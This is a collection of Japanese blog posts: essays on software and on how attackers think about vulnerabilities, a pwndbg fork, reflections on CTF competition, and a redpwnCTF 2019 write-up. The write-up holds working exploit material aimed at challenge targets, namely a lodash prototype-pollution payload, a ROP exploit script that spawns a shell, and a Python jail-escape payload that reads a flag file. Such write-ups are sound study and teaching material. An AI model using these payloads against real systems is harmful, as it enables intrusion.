久々にガチったCTFですが、24/2291位でソロとしても結構いい順位がとれ嬉しかったのでwriteupを書きました。
英語にしたのはそっちの方がかっこいいからです。
今回全部録画したんで動画にしたいけど48時間超えてる録画データがしんどすぎるので未定です。
あとバイナリのpwnが結局時間がなくて通せずイマイチ華が……
久々にガチったCTFですが、24/2291位でソロとしても結構いい順位がとれ嬉しかったのでwriteupを書きました。
英語にしたのはそっちの方がかっこいいからです。
今回全部録画したんで動画にしたいけど48時間超えてる録画データがしんどすぎるので未定です。
あとバイナリのpwnが結局時間がなくて通せずイマイチ華が……
https://adventar.org/calendars/9660
セキュリティの話題が続いたので、一度開発の話題を挟もうと思います。
このカレンダー埋めるの予想より結構しんどいですね。心が折れそうなので一種の労働の訓練だと思うことにしました。
ところで、現代でソフトウェアを開発する目的は何でしょうか?
学生や初学者ならば「ソフトウェアの学習」でしょうし、職業的には「何らかのルーチンを代行、管理する仕組みを構築する」ためでしょう。集計とかはわかりやすいですね。ビジョンの欠けたプロダクト、それ自体を目的とするOSSの開発になるとコード資産そのものが目的になることも多いです。多くのITエンジニアは職業的な開発経験が増えてくると、自己実現、あるいは暗黙知の保存、単純に自己紹介のためのOSSも考えるのではないでしょうか。そういうふわっとした感情がプロジェクト管理の観点からは誤りだとわかっていながらも……。(大抵のソフトウェアエンジニアは完成を挫折した巨大で数十行しか書けていないリポジトリを持っています)
今回はこの倒錯について一種の極北となる試みを紹介します。ちょっと古いですし有名なんでしょうが自分は最近知りました。
その名もFizzBuzzEnterpriseEditionです。
FizzBuzzEnterpriseEditionは技術面接問題の古典として有名なFizzBuzz問題がエンタープライズ化されたという一見「なんのこっちゃ」となりそうなリポジトリです。
端的に言えば無駄に宣言を持ち回る一種のジョークリポジトリでありますが、初学者が開発プロジェクトにジョインするための壁について言葉ではなくコードをもって示している教育的な部分があるようにも思えます。
フレームワークとかを扱えなかったころ、私は大抵のOSSがこう見えました。
「gradleってなんぞや」から「この長大なフォルダ名にはいかなる必然があるか(あるいはなぜ無駄なのか)」まで、全ての初学者の疑問に答えるためには、経験や勉強がいるように思えます。あと無理やりこれらが必要な仮定を考えるのは楽しいかもしれない。
多人数開発への対応やテストドリブン開発がこういった分割の背景にはあるんですが(これがやりすぎではあるが)、「エンタープライズ製品では最終的に独自のパーサーがいるだろう」みたいな、裏の考えの部分に結構頷ける部分もあるのが完全な狂気との狭間って感じで面白いです。
だってこれ名前空間上では予約されてるけど結局はFizzBuzzの機能しかしないんですよ。
このリポジトリは世間で言われてる商業的プロダクトが内包する無駄やソフトウェアの設計者が陥りがちなエゴを簡潔に示し、多くの長大な宣言のほとんどが実際には実装されることがなく終わることを暗示している……と言えるのかもしれませんね。知らんけど。
わたしはREADME.mdなどの
For numbers 1 through 100,
や
FizzBuzz Enterprise Edition is a no-nonsense implementation of FizzBuzz made by serious businessmen for serious business purposes.
が醸す、すっとぼけた空気が私は好きです。
シリアスビジネスマンは実際、シリアスな目的を持っているのでノーナンセンスが必要。
アドカレって何でもいいっぽいと前回の投稿後に調べてわかったので、ノリでやっていきます。
俺が25人分になる Advent Calendar 2023 - Adventar
上げようと思ったのはSMTとかの解説なんですが、時間がかかっているのでお茶を濁すことにしました。
二日目でいきなり一日空いてるのですが、別に0時に限定されてないのでまだ戦える……はず!(このタイトルで1日で終了は悲しすぎる)
というわけでお得意の脆弱性関連のネタ書こうと思ったんですが……これ無限に書ける割にコアなネタなのが問題です。知らん人からは「だから何?」って感じでしょうし。
書くネタに困ったときに頼りそうなので、今回は一般的な脆弱性への自分が抱くフィーリングのようなものを共有してみます。
当然のことながら経験則ですのでご容赦を。また言うまでもなく勝手に稼働しているシステムを侵害することを推奨する記事ではないです。
# 攻撃者はシステムに何を思うか
よくやり玉に上がる「この言語は安全か」という面倒な議論があります。
これにズバリ答えることは困難ですが、実装が難解な言語による実装は攻撃者にとっても難解なのは間違いないと思います。脆弱性の利用というのはエクストリームプログラミングになりがちだからです。
例えば有名なSQLインジェクションも、インジェクション箇所がLIMIT以降に限定されたり、結果が目隠しだったりが重なれば結構簡単に自動化が困難なパズル実装になりますし、XSSもCSSインジェクションも同様で、特殊なケースにおいて、バグから価値のある悪用を行いたいとなれば、それなりに難しいツジツマ合わせの実装を迫られます。JITの動的型システムのミスをつくType Confusionとかが攻撃コードまでナイトメアになる理由の一端です。
攻撃コードは普通に実装であるということで、バイナリの脆弱性というのも攻撃コードまで行くとメタにアセンブリを組んでるだけですし、WEBにおいてのSSRFなどのテクニックからの派生はいささか強引にRPC Proxyの実装と考えられないでしょうか?言葉遊びじみていますが、「大抵の攻撃は多段評価へのインジェクションである」という考え方をしてみれば、脆弱性は結構とらえ易くなります。
というものの、任意のアプリケーションで全ての入力は多層的評価パイプラインを移動しており、「入力がどのレイヤでどのように評価されるのか」という点で「開発者/ユーザーがコード上で思い描いていた合意」を越えたとき、バグや設定ミスというものは初めて脆弱性と攻撃ベクトルの可能性を形作る、という視座を持てるからです。
前回でもさらっと触りましたが、脆弱性や攻撃にはカテゴリがありMITREなどが割り振るオフィシャルな振り分けがあります。ただこの点で極論どの脆弱性も「どこで、どのような合意が破壊されるか」ということでしかありません(そして極論の多くは誤りかより優れた論があるので気持ちです)。
評価するコンポーネントの間で片方だけが入力を管理者扱いすれば特権昇格を起こしますし、文字列を片方だけがコマンドと扱っていたらコマンドインジェクションである蓋然性は高まるわけです。
侵入に成功できる攻撃者の多くは「このシステムは脆弱だろうか?」と考えるときに、入力が通過する解析器とその厳密な順序を頭に浮かべ(あるいは書き下し)、それを正確に裏付け、違反の手がかりを探すという手順を無意識に(優れてるほど意識的に)踏むのではないか思っています。
狙いに繋がる手順を列挙し、必要な仮定を満たしているか観察し、システムのパイプラインを逆構築するわけです。よく「OSSでないから安心」というのが成り立たない理由はこのあたりにあり、機能から実装は明らかにできるし、便利な機能ほど手がかりもミスも増えるからです。また攻撃者の最初の侵害目標がアプリケーションのコードになることも多いです。
そりゃコードがあったほうが楽ってこともありますが、ハードコードされた情報の隠匿は大抵甘くなるというのも大きいです。本質的には、現実で生きる開発者の動きやスキル、バックボーンもシステムを通した観察の対象となりうるということですね。
観念的かつ抽象的な話に終始したうえ尻切れトンボ感がありますが、今回はこのあたりで一旦畳みます。
個別のトピックは大掛かりになってくるし、どうせおいおい話すでしょう。
# 翻った防御
攻撃者について書きましたが、上記のことを踏まえたとき防御する側がするべきはなるべく手がかりを与えないことです。対戦ゲームでは相手の嫌なことをしましょうってことですね。この材料としての部分でオフェンシブセキュリティは余技より意義のある考察になります。
ただ一般的なユーザーや開発で邪魔にならない範囲で、というのは案外難しいし、バグがないことを目指すだけで自ずとセキュアに近づくということは忘れてはならないでしょう。セキュアにする目的の工夫が手がかりや脆弱性になるということも案外と多いです。
そういう意味で攻撃者にとって一番嫌なことは堅実なことでしょうか。それをどうすればええんやって話なですが、関わる各々が頭の隅にそういう観点を置くしかないと思うので読者に委ねます(雑)
11-30日11時、某misskeyインスタンスがアドカレで賑わう中、軽い気持ちで行った発言により、50分で記事を書くチャレンジが発生した。
投稿プラットフォームとか細かいこと考える時間すらないため、とりあえず完全に内輪ブログとして久々にはてなブログを利用しこれを行ってみる次第である。
そもそもアドベントカレンダーって何書くのか、クリスマスに因んだ話をする必要があるのか、技術系の話題は何が求められる祭りなのか、そこからである。
参加表明といっても一人でやってるし関係ないですが貼ります https://adventar.org/calendars/8596
はい。
# 記事ですが、さっき友人から電話きたのでもうThu 30 Nov 2023 11:33:50です。
突然ですが、gdbの話をしようと思います。
皆さんgdbは好きですか?私は好きです。
なので今作ってるpwndbgのフォークを紹介しようと思います。
pwndbgとは、かっけー画面とともにheapの状態やメモリの状態を便利な装飾つきで確認できるリッチかつ高機能なセキュリティ研究者向けのgdb拡張です。
gdb-pedaが少し前の世代において有名でpwndbgもそこからの派生という立場が近く、gefが親戚にいる感じですね。multi archは部分的だけど主要な項目には対応してます。
あまり知らない方へbinary exploitへの最低限の説明をしておくと、まず脆弱性は欠陥と攻撃手法でカテゴリに分けられ、それによってリスクアセスメントをしたりとか文書化したりとか色々あるわけです。
例えば「バッファオーバーフロー」と言われて思い浮かべられるよく知られたstack based buffer overflowはよくあるローカル変数のbuf[256]とかにmemcpyで1024とかズドーンしてしまうやつですね。
ここで攻撃手法はbuffer overflowとかの脆弱性カテゴリに対して一意ではないです。これは防御の目線が入ると腑に落ちるんですが、現代の防御機構はコンパイラレベルでも発達しており、脆弱になりうるバグがあってもそれを回避する話は軽い実装で一般化できる範囲において塞がれてると考えたほうがよいから、とも言えるような(根拠はない)。
stack based overflowだけでもfork型のリトライし放題の条件だったり、組み込みとか関数ポインタ上書きとかローカル変数の制御構造乗っ取りとかケースバイケースで有効なこともあります。細かい部分を調べてもらえばってことなんですが、このケースバイケースってやつが曲者でしんどめの脳トレを要請されます。
だから全てをデバッガで詳細に見て、使えるオブジェクトがあるか、アドレスはasciiにうまいこと入らないかとか、addしたりxorしたり命令の飛ばし先や入力でどうにかできないかと検討する道具は重要になります。
pwndbgはこれを簡単にするソリューションの一つですが、heapとbinsが本体と言っても過言ではないです。こいつに全部の機能をもっと詰めたいといつも思っていました。
なので、作っている途中経過をgithubで上げてます。シェアします。
(printのバッファリング調整しないとな)
https://github.com/tachibana51/pwndbg_douro
説明する時間がないです。あと2分です。
全部あります。ビジュアライズは色をfreedとmallocedで揃えたり地味に改善してます。
mlベースのコンディションチェックをローカルで実装中です。待たれよ。
telescopeで詳細を出すんでチャンクについて知りたいことは大抵出るし、free可能かエミュレートします。偉い。でも雑なのでリファクタリングしたい。時間が……
ではまた明日(続くのか?)(これってアドカレ?)
まだ雑ですが、技術的内容はこっちに上げるようにしようかなと思います。
metaがちょっと変とか、ちょっと足りない詳細とか誤字とかは、まだ許して……
テーマの色は自分がいつも使うターミナルの設定からです。気に入ってます
cve-2021-4034で使われてる手法をどこかに書こうかなということを思い立ち、自分がこのブログをやっていた事を思い出して、見返すとCTFのwriteupが2019年で止まっており、まだまだnewbieだった頃の記事に感慨深い気持ちになった。
本格的に解けるようになってきたのが丁度この頃だったが、まだ初心者向けの大会で上が取れるくらいで、そのあとに修練を重ねて2020年の終わりで競技者としてはピークを終えたと思う。(競技者として、ということを書いたが現段階で正社員としてセキュリティ系の職についたことはないし、活動としてはたまに脆弱性を報告したり修正したりexploitを読んだり出題してる人間)
CTFは問題が基本的に難しく、1問で20位くらい(というか大体はもっと)順位が変わってしまうので二桁の中だと結構いつも接戦であり、実力としてはわりと誤差の中になってしまうことも多い。
それでも勝ちと負けはある。だから結構誤差だとわかっていても、勝負で順位というものは重いし、アベレージで負けるならやはりアベレージな弱さがある。
そういう前提はわかりつつも、どうあがいたって自分にはCryptoを短時間で解ける能力はないし、正直な話あまり興味もあまりないので、不得意をごまかしながら基本的な勉強はwebとpwnに振りつつ全部の分野を少しずつ勉強して拾ってきた。
2020年後半の順位の差は、Cryptoなどの比重が高かったり、問題数が多すぎたり、そういう苦手によってしまうことで発生していることが多い。数奇なことにチームが全員Cryptoあんま得意じゃないからチームで出ていてもそこは変わらなかった。
そういう前提でいつもあと一問でtop 10ということをやっていて、結局の所いつもそうなんだから、見た目よりもずっと”あと少し”では無いんだということを納得しつつある中、19位を取って、10という数字に区切りを感じてしまった。
それに開発などの勉強もある中で、競技だけに特化することは難しくなった。
興味という点でも、その頃はCTFの技術を脆弱性の報告などに応用することができるようになってきて、現実の脆弱性のほうが面白くなってきてしまい、競技のことばかり考えられなくなってきたという面もあった。
根性論は忌憚される世の中であっても、なんだかんだモチベーションというのは勝ち負けのギリギリの部分でかなり影響があってCTFはレート分けなしの世界大会が常であり、48時間徹夜するとかをしていたので自分には重い問題である。
例えとしておこがましいことは承知だが、特殊部隊だって愛国心がなかったら結構弱くなるわけで、ポテンシャルというのは理論で出し切れるものじゃないなんていうことは結構了解されてると思う。まあ押し付けるのは悪だろうがそれは別の話
ともかく、有名じゃないCTFではあるものの、ハイスクール向けとかCTFtimeにないローカルなものを除いたコンテストで、19位という順位は自分にとって重要だったのだ。
マイナーコンテストで強豪チームが出てなかっただけ?うるせえお前もこの順位取ってみろや。
普段はチームとして出ていて、Ciruelaさん、Tda_Adopさん、Maruさん、proxyさん、pwdさん、Teppayさん、きなこさん、今ではTSGとして活動しているsmallkirbyさん、tokaさんなど(2021年からのメンバーだとRyotaKさんなどもたまに顔を出したりしていた)の協力がある戦績ではあるが、KipodAfterFree CTF 2020に関しては一人で取ったスコアである。
こういうことを書いていて思うことは、CTFは少なくともチームで出るときにはチームの競技であり、ジェネラリスト的なスタイルは結構気を付けなければチームにとって悪影響を及ぼすということだ。
2020年の終わりに一人で出たのは、チームとして脱退(きなこさんは脱退し、チームを立ち上げている)やアクティブ率が下がったからという面が大きい。
原因は結構自分だろう。
Contrailでは誰が何点取ったということについて、writeupを書くという行為でポイントを出してうまくやっていたが、解く問題数や複雑さによってwriteupを書くコストが上がるとそういうことも難しくなった。
あと私が元気すぎて、結構色々な問題を拾ってしまっていて見た目のスコアでかなり割合が多くなってしまった。pwnは特に問題が難しくなりすぎて、自分が得点を取りがちでもあり、pwnerが重複しているチームとしてはモチベーションを下げてしまっていたかもしれない(一時期自分が教えておいてpwdさんに追い抜かれたので実はかなり気合を入れ直してやっていた)。
自分では解けなかった問題もあったし、そもそもある程度の難易度でflagを入れる偉さに差はない。それに一人で出てしまえば他の人が取れた問題も結構あっただろう。
弁明をしておくと自分としてはとにかくポイントや順位が欲しく、少なくともチームとして勝つ努力は常にしていたということで、フォロワー数とかSNSやってるかとかで発信に差が出てしまうことに気をつけるべきだったのかもしれないという部分である。
チームとして出るならあくまでもチームとしてのスコアであり、出来た時より、出来なかった時の押し付け合いというものが重要だったのだろうということを社会人として働いてからは思う。
メンバーがこのブログを見てたら、まあその点については反省していますということは伝えたい。
でもチームでやるCTFはスプラトゥーン的で楽しいからそういう気持ちでやらん?スプラトゥーン友人の家でしかやったことないけど……
ブログのwriteupを読み返すと、今からすると結構カスだなと思うことばかりだ。でもgoogle ctfでphpのpop chainが1 solveだった時代なのだ。まあ全員それなりにレベルが低かったし、そこから勉強していって今があるわけで。
angrやghidraがマイナーだったり存在しなかった時代でのreversingは大変だったなあとか思うし、heapについて何一つわかって無くてもpwnがある程度解ける時代でもあったなあと思う。
”補助するドキュメントやツールが増えてCTFは簡単になったのだろうか?”ということは、難しさの種類が変わったのかもしれないと思う。
今はpwnはrevと表裏一体であった時代と違う。
オフェンシブなセキュリティが業界として需要が出て、良くも悪くも資本が投下されるようになった。
まず顕著なのが防御が強くなったために現実的想定の難しさや出題のセンシティブさが結構上がった。
そして問題の質が変化した。昔のprizeなんてのはもっとしょぼかったわけだし、かなり治安の悪い問題も多かったし、まあオタク的であった(オタクを売りにしていたhtbの問題は最近なんだかなあって感じではある)。
カンファだったりも、blackhatの発表はもっと刺激的な内容だったしssrfやprototype pollution、sstiなどの積極的な手法化(名称自体は2015年とかもっと前から出ていた)がかなりリアルタイムに出ていた頃からすると、そういうのが出なくなったと思う。
やり尽くしてしまったのか?まだそうは思わない。ランサムウェアだったりIoTとかだったり、現実世界で影響力を持ってしまったために実践的である部分には世界的にどうしてもオープンにすることへ抵抗感が出てしまったし、まあ抵抗なかった頃がおかしかったんだと思う。
感覚として、殴り合いからボクシングになったような変遷を感じる。もちろん未だに中国のコンテストとかは殴り合いくらいの治安であったりするけれど。
殴り合いとボクシングはそれぞれ別個に価値があり、結局競技にしてしまえばある程度特化したアスリートにならなければならないのである。
そういう面で、今だって順位には絶対に価値があるし、競技の中での優劣というのは勝ち負けでしか語りえず、とにかく自分が今勝つことは、体力的な衰えも含めて難しくなっただろうと思う(まだ25だけれど、気合を持ったまま徹夜するのはキツくなてきた)。いつの時代も勝つやつは勝つということが凄い。
どう出場者が変化しようと、問題傾向が変化しようと、世界レベルはいつだって世界レベルで、グローバル人材になるならグローバルに勝つということはわかりやすく目標になる。だからグダグダ言い訳したってとにかく自分より上のやつらは偉いという部分については異論がない。
ところで最近新しい日本チームが引きこもりがちなことに少し懸念を覚える。国際的なCTFに出ようぜ。タコ殴りにされて0点をとりまくろう。
セールスをしてみると、CTFはパズルに見えるような問題であってもかなり現実が前提となった出題なので、開発職でも結構知識が役に立つし、OSSの糞デカコードを読まされたりする経験も半端なくためになる。
フィジカルが根本としてある部分を抜いて本気で勝ち負けをすることは現代では受験くらいつまんないことしかなく、やっぱ勝負は楽しいし、どんな方法でも、どんな大会でも、世界と言える場で勝つことは結構人生において価値を感じられる行為だと思う。
あと同じ廃人ならオンゲ廃人よりは悩みが少ない。
自分は結構オンゲとか音ゲーやると際限なく頑張ってしまうので、自主規制しているけど今でもまあたぶん楽しめるだろうと思う。やりすぎる性格でそういうことにハマると人生がつらくなりがちなので……
何の文章だったのだろうかというのは謎の記事だけど、ここはブログだしそういうもんだよ。
言うまでもなく上の文は主観の塊であります。
team Contrailのdouroとして参加し、フラグを入れた926チーム中57位でした。私は一日目の終わりから参加して1552pt獲得しました。解いた問題は
です。変な問題捨てればhell.cとBlack Echoは通せたかもと後悔があり、次に生かしたいです。一応全ジャンルできたのはうれしい。
あとred-pwn-isは問題サーバー(aws)のcredをHTTP Header Injectionで盗めたけどこれは罠でなんも権限がなく、普通にlocalhostのRedisにたいするSSRFだった。運営許せねえ。
最低得点の50pt以外の問題についてWriteupを書きます。
node.jsで動いているサーバーにおいて、記事が投稿できる。 flagが public===undefinedで投稿されているので、これをtrueにすれば読むことができる。以下が脆弱なコード。
parsedBody = _.defaultsDeep({ publiс: false, // default private cоntent: '', // default no content }, JSON.parse(body))
単純に__proto__
を用いたプロトタイプ汚染ができそうだが、lodash 4.17.11においては__proto__
ではなくconstructor
を使ったペイロードが通る。{"public":true,"constructor":{"prototype":{"public":true}}}
でpublicをtrueにできてフィニッシュ
libcがなく、カスタムされたlibcが使われている場合のPwn。
なんか変な処理が入るが、readのrdiを入力で制御できるため、rdiに0を入れてバッファにコードを入れてオーバーフローできる。1バイトずれるためパディングに注意。
libcをリークする所までは普通にできるが、libcからexecveとsystemが抜けてたりputsの位置が異なったりとカスタムされている模様。
write@libcは通常の位置にあったので、rdxをreadのものから流用できることを利用し、libcの内容を__libc_start_mainを基準としてダンプさせる。
どうやらsystemやexecveといった関数が取り除かれているため、頑張るしかない。
pop rax; ret;とpop rdx ; ret;のバイトコード手に入れ、syscallを制御できるようになったらexecve("/bin//sh", 0, 0)
をropで組み立て、シェルを起動する。
from pwn import * import time context.log_level="debug" """ p = process(["strace","/home/yukari/Desktop/srnr"]) p.recv() p.sendline(b"1") p.recv() p.sendafter(b"read(1, ",b"a") p.recvall() """ pop_rdi = 0x00400823 pop_rsi_r15 = 0x00400821 printf_plt = 0x00000000004005c0 printf_got = 0x601fd0 setbuf_got = 0x601fc8 main = 0x0040073b read = 0x4007ad read_got = 0x601fd8 ret = 0x0040059e data = 0x000000000602000 bss = 0x0000000000602020 syscall = 0x00400703 onegadget =0x4f322 offset = 0x186a0 libc_start_main = 0x601ff0 p = process("./srnr") #p=process(["strace","/home/yukari/Desktop/srnr"]) #p= remote("chall.2019.redpwn.net" ,4008) elf = ELF("./srnr") libc = elf.libc binsh = next(elf.search(b"/bin//sh\x00")) #gdb.attach(p,"c") #time.sleep(2) p.recv() p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(read_got) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(printf_plt) buf += p64(ret) buf += p64(main) p.send(buf) read_leak = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00")) libc_base = read_leak- libc.symbols[b"read"] write = libc_base + libc.symbols[b"write"] #leak libc_start_main p.recv() p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(libc_start_main) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(printf_plt) buf += p64(ret) buf += p64(main) p.send(buf) libc_leak = u64(p.recvuntil(b"\x7f").ljust(8,b"\x00")) #leak libc_binary recv = b"" i = 0 p.recv() context.arch = "amd64" pop_rdx_asm = asm(""" pop rdx ret """) pop_rax_asm = asm(""" pop rax ret """) while True: try: p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rsi_r15) buf += p64(libc_leak+offset*i) buf += p64(0) buf += p64(pop_rdi) buf += p64(1) buf += p64(write) buf += p64(ret) buf += p64(main) p.sendline(buf) recv += p.recvuntil(b"[#] number of bytes: ")[:-1*len(b"[#] number of bytes: ")] if (recv.find(pop_rax_asm) != -1 and recv.find(pop_rdx_asm) != -1): pop_rax_offset = recv.find(pop_rax_asm) pop_rdx_offset = recv.find(pop_rdx_asm) break i+=1 except: break pop_rdx = libc_leak + pop_rdx_offset pop_rax = libc_leak + pop_rax_offset print(hex(pop_rdx_offset)) print(hex(pop_rax_offset)) p.sendline(b"0") buf = b"" buf += b"A"*17 buf += p64(pop_rdi) buf += p64(binsh) buf += p64(pop_rax) buf += p64(59) buf += p64(pop_rdx) buf += p64(0) buf += p64(pop_rsi_r15) buf += p64(0) buf += p64(0) buf += p64(syscall) p.send(buf) with open("libc_leaked","wb") as f: f.write(recv) p.interactive()
パスワード付きzipと壊れたpngファイルが含まれているため、pngを修復する。すると、パスワードが書かれたpngが出現するため、これをもとにzipを解凍すると同様の問題が出現する。
よく覚えていないが、たしかこれを100回以上(もっと多かったと思う。死ぬほどかかった)繰り返さないといけないため、人力では不可能。
また、pythonのzipfileモジュールではパスワード付き解凍が遅すぎて自分の環境ではとても終わらない。
チームメイトのCiruelaさんがpngを修復するコードは書いてくれたため、これを改良し、
を実装した。 頂いたコードは以下
from PIL import Image import numpy as np import os import traceback f_name = os.listdir()[0] f = open(f_name, 'r') out_img = Image.new('RGB', (600, 400)) data_all = f.read() data_start_index = 0 data_end_index = 0 try: for i in range(600): for j in range(400): data_start_index = data_all.find('(', data_start_index) data_end_index = data_all.find(')', data_end_index) rgb_data_str = data_all[data_start_index + 1 :data_end_index].split(',') #print(rgb_data_str) r, g, b = int(rgb_data_str[0]), int(rgb_data_str[1]), int(rgb_data_str[2]) out_img.putpixel((i, j), (r, g, b)) data_start_index += 1 data_end_index += 1 except: traceback.print_exc() f.close() input('[end]') out_img.save('output.png') f.close()
tesseract-ocrを使ってlang=engでpngを読んだが、フォントが特殊なため誤答が非常に多かった。そのため、フォントを特定し、配布されている学習スクリプトを用いて特化した学習を行った。
フォントの特定は"g"の特徴的な形をたよりに行った
これを
https://www.whatfontis.com
に放り込んで、候補に出てきたM+ 2c lightだとわかったので、学習スクリプトを改造した。
学習スクリプトを少ないリソースで回すためにかなり弄ったので詳細は忘れたが、どうにかこのフォントとwordlistに特化したlstmのtraindataを作れたので、これをもとにOCRの誤答率を相当減らすことができた。
zipの解凍がオーバーヘッドになっていたため、zipinfoとunzipを直接呼び出す処理にした。かなり実装が雑だが、圧倒的に早く動いたのでOKです(Flagを入れれば勝ちなので)。最初は解凍をCで実装したが、大変だったのであきらめた。
最終的なコードは以下。
自前でtraindataは用意してください。
from PIL import Image import numpy as np import os import traceback import pyocr import pyocr.builders import glob import zipfile import shutil tool = pyocr.get_available_tools()[0] lang = "eng" while True: f_name = glob.glob("*.png")[0] f = open(f_name, 'rb') out_img = Image.new('RGB', (600, 400)) data_all = f.read() data_start_index = 0 data_end_index = 0 print("image fixing...") try: for i in range(600): for j in range(400): data_start_index = data_all.find(b'(', data_start_index) data_end_index = data_all.find(b')', data_end_index) rgb_data_str = data_all[data_start_index + 1 :data_end_index].split(b',') r, g, b = int(rgb_data_str[0]), int(rgb_data_str[1]), int(rgb_data_str[2]) out_img.putpixel((i, j), (r, g, b)) data_start_index += 1 data_end_index += 1 except: with open("a","r") as f: nextpath = f.readline()[:-1] os.system("display out.png&&rm out.png") zipname = glob.glob("*.zip")[0] txt = input() os.system("unzip -P " + txt + " " + zipname + "&& rm tmp/*&&mv *.zip tmp&&mv *.png tmp&& mv ./" + nextpath + "* . &&rmdir "+nextpath) f.close() print("text reading...") txt = tool.image_to_string( out_img, lang=lang, builder=pyocr.builders.TextBuilder() ).replace(" ","").replace("H","li") print(txt) zipname = glob.glob("*.zip")[0] print(zipname) out_img.save("out.png") print("extracting...") os.system("zipinfo -1 "+ zipname + " > a") with open("a","r") as f: nextpath = f.readline()[:-1] print(nextpath) print("unzip -P " + txt + " " + zipname) os.system("unzip -P " + txt + " " + zipname + "&& rm tmp/*&&mv *.zip tmp&&mv *.png tmp&& mv ./" + nextpath + "* . &&rmdir "+nextpath)
cのコードとyay.txtとnay.txtが与えられる。 yay.txtとnay.txtには以下のような文字列が大量に繰り返されている
... ... abbbaabbaba abbabbabbaaba bbabbaaaaaaba bbaaaaaaaaaba bbaaaaabbaba aaaaabbabbaba aabbbbabbaba bbbabbbabbaba aabbbaabbaaba bbabbabbbaba babbabbaaaaba babbbaaaabbab ... ...
コードを読むと、yay.txtに含まれる全ての文字列にマッチして、nay.txtに含まれる全ての文字にマッチしない正規表現を90文字以内で作ることが目標だとわかる。
正規表現を組み立てる前にn-gramで差集合をとって様子を見ようとした。
すると条件をみたす文字列"aba"が出たので、abaを入力してフラグをゲットした。
def get_char_ngram(n,s): gram = [''.join(s[i:i+n]) for i in range(len(s)-n+1)] return gram macher = [] nomacher = [] with open("yay.txt","r") as f: for line in f: macher.append(line) with open("nay.txt","r") as f: for line in f: nomacher.append(line) yay = [] nay = [] for i in range(1,10): for m in macher: yay += (get_char_ngram(i,m)) for m in nomacher: nay += (get_char_ngram(i,m)) yay_set = set(yay) nay_set = set(nay) possible_list = list((yay_set^nay_set)) for p in possible_list: result = 0 for m in macher: result = m.find(p) if(result == -1): break if(result != -1): print(p)
pyjailの問題。空白、open、import, sys, input等が禁止されている状況でflag.txtを読む。pr0xyさんがx=raw_input()で入力できることを発見したためデバッグにはこれを使ってx=raw_input();exec(x)した。
().__class__bases__[0].__subclasses__()
をenumerateしてダンプすると、fileオブジェクトが見えた。たぶんopenだと思ったので、これを使ってflag.txtを読んだ。
最終的なペイロードは以下
print(().__class__.__bases__[0].__subclasses__()[40]("flag.txt").read())
結構解答に近付けていたのに時間が足りなかった高得点問題が多かった。時間配分についてもう少し考え直したい。